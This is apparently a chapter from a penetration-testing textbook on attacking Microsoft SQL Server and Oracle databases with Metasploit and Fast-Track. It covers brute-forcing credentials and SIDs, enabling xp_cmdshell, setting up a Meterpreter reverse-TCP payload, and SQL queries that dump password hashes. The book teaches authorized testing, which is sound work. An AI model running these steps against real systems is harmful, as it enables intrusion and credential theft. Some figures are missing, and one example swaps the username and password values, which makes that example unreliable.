Chapter 5. Hacking database services
Information in this chapter:
• Objective
• Core Technologies
• Microsoft SQL Server
• Oracle Database Management System
• Case Study: The Tools in Action
• Hands-On Challenge
Databases store and provide access to information. Therefore, databases containing sensitive data such as bank account numbers, credit card numbers, Social Security numbers, credit reports, and, of course, national secrets, must be secure. The goal of a database penetration tester is to access the information within a database and use it to penetrate additional systems. With this in mind, this chapter examines database technologies and terminology, explains what occurs during database installation, and covers tools and techniques for exploiting Microsoft SQL Server and Oracle databases. It begins with how a relational database management system works, how to execute Structured Query Language commands within a database, and some principles shared between SQL Server and Oracle. It then focuses on individual systems, highlighting the technologies used. A look at using open source tools to test a remote database server, followed by a topically relevant case study and hands-on challenge, complete this chapter.
In this chapter, we move our focus to databases. We will examine the most common database service vulnerabilities and will discuss methods to identify and exploit them using open source tools. As usual, we will look at case studies to examine a comprehensive approach to using the tools and techniques presented in this chapter. The knowledge gained from the case studies can be directly applied to a real-world penetration test and tried out in our hands-on challenge.

5.1. Objective

Information is power, and databases store and provide access to information. Sensitive data such as bank account numbers, credit card numbers, Social Security numbers, credit reports, and even national secrets can be obtained from an insecure database. In this chapter, we will look at database core technologies and terminology, explain what occurs during database installation, and examine tools and techniques used to exploit Microsoft SQL Server and Oracle databases.
Our goal in penetration testing of databases is to get the information within and use it to further our testing. If we were a malicious intruder, gaining access to the database itself might be our end goal; however, to the penetration tester, a database is simply another source of information which can be used to further penetrate additional systems. This could, of course, also be the case for an attacker if the information in the database was not their target.

5.2. Core technologies

5.2.1. Basic terminology

Table 5.1 Sample Database
CustomerIDLastNameFirstNameStreetAddrCityStateZipCode
1001BilyeuScott123 Anystreet Ave.DenverCO80210
1002SeelyMark321 State St.SeattleWA98101
1003ChiltonChuck555 Retirement Ln.FortunaCA95540
In Table 5.1, the fields are CustomerID, LastName, FirstName, StreetAddr, City, State, and ZipCode. Each field stores specific data about the customer, identified by the CustomerID field. Each table has a field, or fields, that uniquely identify the records and enable those records to be referenced throughout the database, maintaining database integrity and establishing a relationship with other tables within the database. This field is called the primary key, and in this case, the CustomerID is the primary key. You can use it to relate customer information to other tables that contain customer orders or payment history or any other information about the customer.
You can access and manipulate information within a database through the use of a query. A query is a structured question you ask of the database management system. Using Table 5.1 as an example, if you want to see the information contained in the database about Scott Bilyeu, his orders, and his account standing, you would construct a query to gather the records from each table containing the desired data. You can use this data to produce a physical report, or you can save it as a view, which is a virtual table that contains no data, but knows from where to retrieve the data once it is requested.
Queries are constructed in Structured Query Language (SQL), which is a command language that relational database management systems (RDBMSs) use to retrieve, manage, and process data. The most basic command within the SQL language is probably the SELECT statement, which is used to retrieve information from the database. Study outside this book will be required if you want to learn how to write complex SQL statements. One starting point is the free tutorial provided at http://sqlcourse.com.
Let there be no doubt, the science of databases delves much deeper than we'll touch upon here, but for our purposes, this introduction to database storage components should suffice.

NOTE
As a bit of trivia: SQL can be pronounced either as the individual letters (S-Q-L) or like “sequel.” However, although the SQL standards were being developed during the 1970s, the name for the standard was changed from Sequel to SQL because of legal reasons (someone already had staked a claim to the name Sequel). As with many computer standards, there are variations in SQL implementation, and SQL queries that work for SQL Server may not get the same information out of an Oracle database.

5.2.2. Database installation

Understanding what happens when database software is installed is important in understanding how to approach testing that database. Installing a database is similar to installing any other software. The needs of the database are unique, and often the database software is the only application installed on the server or workstation. The creation of the actual database requires special considerations. Although installation instructions are beyond the scope of this chapter, we are going to cover some of the installation results that are important to the penetration tester.

5.2.3. Communication

By default, Microsoft SQL Server uses TCP port 1433 for connections to the database. As mentioned previously, this port can be changed, but usually it is not. Most penetration testers can tell you what the default TCP port is for SQL Server, but many do not know that a UDP port is also associated with the database. UDP port 1434 is the SQL Server listener service that lets clients browse the associated database instances installed on the server. This port has become the target for many worms and exploits because of buffer overflows associated with the service behind it. Microsoft has issued a patch to fix the problem, but you can still find this vulnerability in the wild.
Oracle, like SQL Server, can host multiple databases on a server. By default, Oracle uses TCP port 1521 for its listener service, although it can be user-defined as well. Additionally, Oracle uniquely identifies each database instance through a System Identifier (SID). To connect to and use an Oracle database instance, you must know the SID and the port number associated with that instance. This is not necessarily the case for an attacker or penetration tester. We will discuss discovering the SIDs on a database server later in this chapter in the Open source tools section for Oracle databases.

5.2.4. Resources and auditing

As we said earlier, databases are usually the only application running on a server. This is because they use a lot of the system resources. Although it is possible to install a database server and meet the minimum system requirements set by the vendor, doing so is not realistic. In fact, when considering real-world deployments of databases, the hardware requirements are often as much as four times the minimum system requirements. Again, the database requires most, if not all, of the system resources to operate and provide information.

5.3. Microsoft SQL Server

5.3.1. Microsoft SQL Server users

5.3.2. SQL Server roles and permissions

We will now re-examine the “sa” account. As we mentioned, the “sa” account is the DBO for all databases created on the server and is mapped to the system administrator account. Therefore, the “sa” user has administrative privileges over the database and host operating system. Any user created by the DBA and granted the DBO (db_owner) role would also have similar privileges.
When creating an SQL Server account, the only role that would be granted by default would be public. The public role comprises permissions that all users of the database are granted. The user is able to perform some basic activities within the database (limited to SELECT) and has limited execute permissions on stored procedures, which we will discuss in the following section.

5.3.3. SQL Server stored procedures

One important difference between SQL Server and Oracle is the use of pre-coded stored procedures and extended stored procedures in SQL Server. Stored procedures are pieces of code written in Transact-SQL (T-SQL) that are compiled upon use. An example of a useful stored procedure is sp_addlogin, which is the stored procedure used to create a new user. Some others are listed in Table 5.2.
Table 5.2 Useful SQL Server Stored Procedures
Stored Procedure NamePurpose
sp_addloginCreates a new SQL Server account
sp_defaultdbChanges the default database for an account
sp_denyloginDisables an account from connecting to the database
sp_droploginDeletes an account
sp_grantdbaccessAssociates an account to a database
sp_grantloginAllows an account to log in
sp_helploginsProvides information on accounts
sp_helpuserProvides information about accounts and roles
sp_passwordChanges the password for an account
sp_revokedbaccessDrops an account from the database
sp_revokeloginDrops an account from the server
Extended stored procedures are similar to stored procedures except they contain dynamic link libraries (DLLs). Extended stored procedures run in the SQL Server process space and are meant to extend the functionality of the database to the server. One extended stored procedure useful to the penetration tester is xp_cmdshell, which allows the user to execute commands in a shell on the Windows operating system. As you can see, stored procedures in SQL Server can greatly improve database capabilities. However, they can also create significant vulnerabilities. We'll discuss exploitation of stored procedures in the Open source tools section for SQL Server later in this chapter.

5.3.4. Open source tools

As always, there are a number of open source tools which can help us in penetration testing MS SQL Server databases. Before examining those tools, let's go over some basic assumptions. Using the information from Chapter 2 and Chapter 3, you should already have pinpointed some potential targets for these tests. By utilizing the tools discussed in those chapters, you should have information regarding the IP of the target, which ports are open, and which versions of software are installed. This is the groundwork necessary before any penetration testing of the database itself can be performed.
Let's start with the Metasploit Framework again as it contains a number of tools which can help us in learning more and gaining access to a vulnerable SQL Server. The first step is to identify which tools are available within the framework. Open the Metasploit console with the command ./msfconsole and search for appropriate tools using the command search mssql. This should show you a result similar to Fig. 5.1.

5.3.4.2. mssql_payload

Still using Metasploit, we can move on to using the account credentials which we now hold to further compromise the database server. Similar to some of the exploits shown in Chapter 4, we can use Metasploit to create an exploit payload for the SQL Server based on the exploits available within the Metasploit framework.
In this case, the payload creation and execution is done using the mssql_payload module. Again, we'll issue the use windows/mssql/mssql_payload command and follow that up with these options:
set RHOST 192.168.1.99
set PAYLOAD windows/meterpreter/reverse_tcp
set PASSWORD password1
This will set all of the required options for the exploit module as well as the payload and then execute. Fig. 5.3 shows the exploit execution beginning. As you can see in this screenshot, the “xp_cmdshell” stored procedure is not enabled therefore the exploit takes the initiative to go ahead and enable that for us. After the stored procedure is enabled, the exploit uploads the Meterpreter shell.
With the Meterpreter shell available on the system as a temporary executable, the executable is run and connects back to our host system. From here we can run all of the normal Meterpreter commands as illustrated in Fig. 5.4.

5.3.4.3. mssql_enum

Another useful little tool in the Metasploit arsenal is admin/mssql/mssql_enum. Similar to the last MS SQL Server tool, this module requires the RHOST and PASSWORD parameters to be set. With these values set, the module can be executed as shown in Fig. 5.5.
After this is executed, you are presented with a huge amount of information about the database including version information, configuration parameters, databases and their respective files, accounts, account policies, stored procedures, etc. An example of this data is shown in Fig. 5.6. In essence, this tool enumerates most of the information that you would want to know about a target database. This information can, of course, be leveraged for further penetration, especially since it enumerates user accounts which may exist in other systems.

5.3.4.4. Fast-Track

The Fast-Track suite of tools has some useful utilities when it comes to exploitation of MS SQL Servers also. Fast-Track is included in the BackTrack 4 distribution or can be downloaded separately from www.secmaniac.com. Running Fast-Track with the “-i” option brings up an interactive menu where you can select from a variety of options including “Microsoft SQL Tools.” By selecting this option, you are presented with another menu of specific tools effective against MS SQL Server.
For this example, we'll use the “MSSQL Bruter” option. This brings up yet another menu of options as shown in Fig. 5.7.
As you can see in Fig. 5.8, we have successfully compromised the “sa” account using the smaller dictionary and have the ability to interact with the remote server. By selecting the server number, we have a number of options available to us including the use of a standard command prompt or a variety of Metasploit tools such as reverse VNC or Meterpreter. Using these tools, you can then further your penetration testing activities on the remote MS SQL Server.

5.4. Oracle database management system

The second RDBMS we will take a look at is the Oracle database management system. This RDBMS is typically just referred to as “Oracle” but that can sometimes lead to confusion as the Oracle corporation owns a substantial number of products and since merging with Sun Microsystems, now also owns the MySQL RDBMS.

5.4.2. Oracle roles and privileges

5.4.4. Open source tools

Plenty of open source tools exist to help us in penetration testing of Oracle databases as well. Again, it is assumed that the information from Chapter 2 and Chapter 3 has already been used to pinpoint some potential targets for these tests. By utilizing the tools discussed in those chapters, you should have information regarding the IP of the target, which ports are open, and which versions of software are installed. With this work already performed, we can move forward to penetration testing of the Oracle databases that we've discovered.
As mentioned previously in the Communications section, you need a few different pieces of information in order to successfully connect to an Oracle database:
• Host Name/IP
• Database Listener Port Number
• SID
• Username
• Password
Based on our scanning and enumeration, we should already have the first two elements but we still need to get the rest. In order for the username and password to work, we have to first have the SID, so we'll start with trying to get that information.

5.4.4.1. sid_brute

Assuming that you haven't already gotten the SID from looking at a database connection string stored on a compromised system, the first step in connecting to the database is to attempt to brute force the SID. A great tool for doing this included in Metasploit is sid_brute. To execute this, you'll enter the use /admin/oracle/sid_brute command in the Metasploit framework console. This allows you to enter options for the host, port, and word list, and a sleep value.

TIP
In older Oracle versions (Oracle 7–9iR2), the listener status command would give you the SID for the database. This is no longer the case for newer versions of the database. Keep in mind however that not all corporations maintain the latest patch sets due to the complexity of upgrading databases. Consequently, you should keep your eyes open for these older database versions as it can save you a lot of effort in brute forcing the SID.
We'll go ahead and set this up for our test host at 192.168.1.115 and give it a shot using a word list in /opt/metasploit3/msf3/data/wordlists/sid.txt. This word list contains a large number of commonly used SIDs that we can try against our database. Like any brute-force attack, this will take some time depending on how far down the list the SID is or if it even exists in the word list. Fig. 5.9 shows the successful execution of this tool.

5.4.4.2. oracle_login

With the SID in hand, we can now move on to trying some username/password combinations to see if we can gain access to the database. One tool for this is the oracle_login module for Metasploit. This module accepts a comma-separated values (CSV) file for input that contains a list of common accounts. An example of the file contents is shown in Fig. 5.10.
Running the tool in Metasploit is very simple. Issue the use admin/oracle/oracle_login command and show options to select the module and see the associated options. You will need to set the remote host, port, SID, and the CSV file to use for the test. After setting those values appropriately, simply run the module and all of the 600+ username/password combinations within the file will be executed against the Oracle database listener. The results of this can be seen in Fig. 5.11.
Based on this scan, the following combinations have been detected on our test system:
• oe/oe
• system/oracle
• scott/tiger
With this data, it appears that we have the login values for the “system” account which is great! If this weren't the case and we either found no matches or found just normal user accounts such as “scott” we would either need to elevate the privileges of a user account or try to brute force the “system” account.

5.4.4.3. Oracle Password Guesser

The Oracle Password Guesser is part of the Oracle Auditing Tools (OAT) collection available at http://www.vulnerabilityassessment.co.uk/oat-binary-1.3.1.zip. This tool does require the Oracle JDBC drivers to work, so you'll probably need to get those installed (and the paths set in the tool's scripts) if you haven't already. Those can be downloaded from Oracle or from http://www.vulnerabilityassessment.co.uk/classes12.zip.

Epic Fail
Keep in mind that as we explore these techniques to brute force the SID or user credentials that this is sometimes completely unnecessary. Don't forget your penetration testing basics! There have been many cases where penetration testers are brought in to scan a corporation's systems and they are able to successfully demonstrate security gaps almost instantaneously by looking under the DBA's keyboard and pulling off the sticky note. A quick “desk scan” can save hours of brute-force scans.
Based on the response shown in Fig. 5.12, we successfully used this tool to perform a dictionary attack against the “system” account. As a by-product, we also learned that this user has the “CREATE LIBRARY” permissions. This can be useful for compromising the system further.

Warning
One thing to note with the OAT script is that it is using Java to perform the actual work. This means that any of the normal limitations of the Java heap size and memory allocation apply. It has been noted that using too large of a username or password list can cause the Java heap to overflow, preventing the tool from working.

5.4.4.4. oraenum

Another tool included in the Metasploit framework which can help us with Oracle penetration testing is “oraenum.” As usual, we want to have as much information about a system as possible before moving forward with additional testing. This is great for our report to the client, but also ensures that we have all the information we could possibly use for further compromising the system. The “oraenum” module uses the SID, username, and password that we've already gathered and queries the database to gather a huge amount of additional information.
oraenum is called using the command use admin/oracle/oraenum and options for the module can be displayed with the command show options. For this particular tool, we'll need to ensure that the following parameters are set:
• DBPASS = system
• DBUSER = oracle
B9781597496278100054/f05-13-9781597496278.jpg is missing
FIGURE 5.13
Some of the data pulled from this sample database is shown below:
[∗] Running Oracle Enumeration….
[∗] The versions of the Components are:
[∗] Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production
[∗] PL/SQL Release 11.2.0.1.0 - Production
[∗] CORE 11.2.0.1.0 Production
[∗] TNS for Linux: Version 11.2.0.1.0 - Production
[∗] NLSRTL Version 11.2.0.1.0 - Production
[∗] Auditing:
[∗] Database Auditing is enabled!
[∗] Auditing of SYS Operations is not enabled!
[∗] Security Settings:
[∗] SQL92 Security restriction on SELECT is not Enabled
[∗] UTL Directory Access is set to
[∗] Audit log is saved at /home/oracle/app/oracle/admin/orcl/adump
Table 5.3 Useful Oracle SQL Commands
CommandPurpose
select ∗ from v$version;Displays the Oracle versions
select ∗ from all_users;Shows all user accounts
select username, password, account_status from dba_users;Shows usernames, password hashes, and the account status for Oracle 7–10g
select a.name, a.spare4, b.account_status from sys.user$ a, sys.dba_users b where user#=user_id;Shows usernames, password hashes, and the account status for Oracle 11g
select table_name, column_name, owner from dba_tab_columns;Lists all columns in all tables. You can limit this query to find specific criteria such as %PASSWORD% or %USER% with a WHERE clause
select owner, table_name from all_tables;Lists all tables

5.5. Case study: the tools in action

For this case study, we will be compromising a SQL Server 2008 system using the techniques described in this chapter. Many of the steps that we'll use fall in the same order as those presented in the chapter.
For background, this system is part of a penetration test requested by our client. They are concerned about the possibility of system compromise from a disgruntled former employee and requested that we perform a basic penetration test of their systems under the assumption that the former employee is able to connect to the network due to the wide availability of accessible ports in subsidiary offices throughout the city. They have provided us a list of their most important systems and have requested that we perform basic penetration testing on those systems.
Based on this, we can see that SQL Server 2008 is running on the default ports and that there are some other interesting services running on that system as well. For now, we'll focus our attack on SQL Server itself and look at compromising the other services if that becomes necessary.
Next, let's head over to Metasploit and see if we can quickly brute force an account on that system. We'll do this using the mssql_login module with the options shown in Fig. 5.15. As you can see from the response, the “sa” account was not very well secured and we now have those credentials to use for further penetration.
Using our newly discovered credentials of “sa/password1234”, we continue our penetration test by using the mssql_payload Metasploit module. Fig. 5.16 shows the options for this attack. Similar to our first example with this module, the reverse handler is started and the exploit is staged at this point.
At this point, our work on this system is complete. Armed with just the IP address for the system and our open source tools, we were able to compromise the remote host and generate data for our client, demonstrating how easily (and quickly) their systems could be compromised by their former employee. Hopefully they will take this information to heart and start hardening their systems, both physical and digital.